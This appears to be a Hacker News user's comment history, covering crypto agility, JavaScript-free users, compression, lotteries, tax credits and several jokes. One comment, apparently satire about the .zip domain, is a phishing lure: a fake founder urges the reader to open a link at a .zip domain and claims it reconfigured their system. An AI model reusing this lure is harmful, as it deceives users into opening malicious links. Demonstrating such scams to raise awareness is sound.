IncRnd

Have crypto agility, so that when you want to transition algorithms, the move will be as seamless as possible. You can start to use a blended or hybrid crypto today, where you simultaneously use both classical and pqc algorithms. For your classical algorithms, you should adjust your keys' security strength in accordance with your threat model. See CNSA 2.0 for a starter reference. For data in motion, you can use two VPNs, configured appropriately.

There are a number of things you can do today, more than I listed. I suggest you discuss with an appsec person who is familiar with your threat model.

From the top of the page:

find + mkdir is Turing complete (retracted) The proof is flawed and I retract the claim that I proved that find + mkdir is Turing complete. See https://news.ycombinator.com/item?id=41117141. I will update the article if I could fix the proof.

The first point I noticed about the article was the writer's name, Autumn Syracuse. It's one of the most outstanding names I've ever come across.

A: Yes - They are hidden under the feathers at the tops of the legs.

> Why should they optimize for the <0.1% of people who don't have JS enabled?

Because their competitors do that.

Most counts place non-js users (which is not always their choice) between 1% and 4%.

That means that for every 10,000 users, there will be between 100 and 400 that don't have js enabled. It's been estimated that buzzfeed, which we use as a traffic example, gets over 10 million requests that don't support js per month.

Apple maps requires js to work. Google maps and Mapquest don't require js.

While most people use js by default, this requirement indicates that Apple requires a greater footprint to run maps than Google or Mapquest.

> I’m no security person, so the reasoning felt a bit weird to me, as I guess the .zip TLD can’t hurt anybody

I really apologize that our docs don't cover what to do in your situation. We move really fast with software to bring you the best experience possible and sometimes miss these things.

I'm the founder, John Smith, and I'll provide direct support here for you.

Just go in your browser and open the .zip archive to extract the file you need. You can use chrome, Internet Explorer, Firefox, or any other browser.

In your browser, open the zip file that you downloaded earlier from our website. Open it this way: https://3DGScode.zip/cross-platform-imaging

That's it! Opening the archive in that manner performed a reconfiguration on your exact system, so everything should now work on your end. Sorry about that snafu on our end.

When you drive a car, not all of the energy from the gasoline turns into heat. Some energy ends up as kinetic energy that makes the car move.

As the saying goes, "the grass is always greener on the other side of the fence."

If those people had not gotten their PhDs, but families instead, they very well might today desire PhDs.

I am reminded of what my Grandma used to always say.

"A lie spoken is easy to see. Repeating a lie colors it candidly. " -- Granny

So, I try to keep things in perspective, especially in comments on this website, so I don't get misunderstood.

I like your comment! Though, I dislike sarcasm, which your post seems to be.

It's good to keep things in perspective. After all, there are 16,384 misunderstood comments each minute on this very website.

People not yet born should cause a form validation error instead of the site using future data that is obviously wrong.

That's like RAID0 for streaming - or in a different way like people who backup their drive onto gmail messages, where each file block fits into a gmail message.

How do you solve the key issue with Vername? It requires a secret key of the same length as the plaintext.

Even today there are places where both a bride-price and dowry both happen. There is no reason they cannot coexist - because they do.

The bride-price is a sort of contract of exclusivity payment from the groom's parents to the bride's parents, and the dowry is from the bride's parents to the groom/couple in order for the bride to have a certain level of life. They serve entirely different purposes.

My longitudinal study has found that tin foil hats, when prepared and worn as directed, block 100% alien parasitical freqencies, 97.8132% of the attempts by FEDGOV to take over the minds of minunderstood scientists, and 2.091234% of the people who use verbal frequencies to ask questions about where to obtain their own tin foil hats.

d2. h4x02 f023v32

Previous open-source project on soul-weighing: https://en.wikipedia.org/wiki/21_grams_experiment

You're describing the desire to avoid protocol compression when transmitting data that grows without bound. That has nothing to do with fixing the backslashes. The problem isn't backslashes. Those are just a symptom of data that can have any length.

Yes. In what way does that mean that the transmission size should not be compressed? Bitmapped images are not the only data structure whose size will shrink by removing redundancy.

Yep. It's really a non-issue. It's was pretty clear to me that the author knows how to use the formula.

It's also good to properly manage transmission of that list of screens, even after you've fixed the backslashes. The article stated that they degraded the user experience by artificially limiting the string length instead of fixing the issue.

That can obviously be rounded. Nobody will really try to purchase 27% of a server. A different issue is that the formula should include "1+Safety Buffer". Otherwise it needs to be run twice, once with the safety buffer and once without. Even so, I didn't take the formulae on this page to be accurate so much as representational.

That's a case of not solving the problem.

Leaving aside the need to send a massive set of screen images for the moment, a severe issue with that protocol is the lack of compression. It doesn't need to use a quadtree[1], although that will significantly speed up the interface when sliding the tree depth to the screen action being taken. Even RLE[2], Huffman[3], or any other standard string compression[4][5] would solve this issue shown in the blog.

[1] https://en.wikipedia.org/wiki/Quadtree#Compressed_quadtrees

[2] https://en.wikipedia.org/wiki/Run-length_encoding

[3] https://en.wikipedia.org/wiki/Huffman_coding

[4] https://en.wikipedia.org/wiki/Data_compression#Image

[5] https://en.wikipedia.org/wiki/Lossless_compression#General_p...

The problems have done nothing but grow. Yes, there have been services. No, there haven't been solutions. That is kicking the can down the road, despite how well-meaing people may be.

Keep reading:

> The poorer lottery players also buy far more of the lower prize games, such as scratch-off instant games which account for the majority of lottery sales.

> The richer buyers are buying the multi-state jackpot games such as Powerball and Mega Millions. And the wealthier players are likely to be drawn in by the big jackpot prizes like those being offered right now by both Powerball and Mega Millions.

The lotteries are not exclusively taxing the poorest members of society, which is what you originally claimed.

  From "Who is buying Powerball and Mega Millions tickets?" [1]

> The general belief is that poorer Americans buy lottery tickets more often than wealthier ones. But that's not quite true.

> The survey showed the most frequent lottery players earn between $36,000 and $89,999. About 56% of that group bought tickets in the last year. Fewer of those making under $36,000 bought tickets, only 40%. About 53% who make above $90,000 bought a ticket.

[1] https://money.cnn.com/2018/01/06/news/powerball-mega-million...

> Probably because the country isn’t actually bringing in any new money if locals gamble.

That's almost certainly not the reason. They want the revenue but not the societal ills from gamblers.

This is from 2022, almost a full year ago.

> If you have a simple return with no forms or schedules, then you can file for free at Turbo Tax.

If you owe more than $10,000, you probably aren't eligible for the free filing at Turbotax. [1]

[1] https://turbotax.intuit.com/modals/dynamic/?instance=c7YON5P...

From https://www.taxpayeradvocate.irs.gov/news/nta-blog-eitc-audi...

> One study with the most recent data available from the IRS showed that 21 percent of known EITC errors (meaning an error identified during an audit with full taxpayer participation) were attributable to qualifying child rules; 58 percent of the errors were tied to income misreporting; and nine percent contained both errors.

> Qualifying child errors account for the most dollars of erroneous claims by far. Of the qualifying child errors, 20 percent involved the relationship test, ten percent related to the age test, and 75 percent involved residency. Income misreporting – and in particular self-employment income misreporting – accounts for the second highest dollar amount of erroneous claims.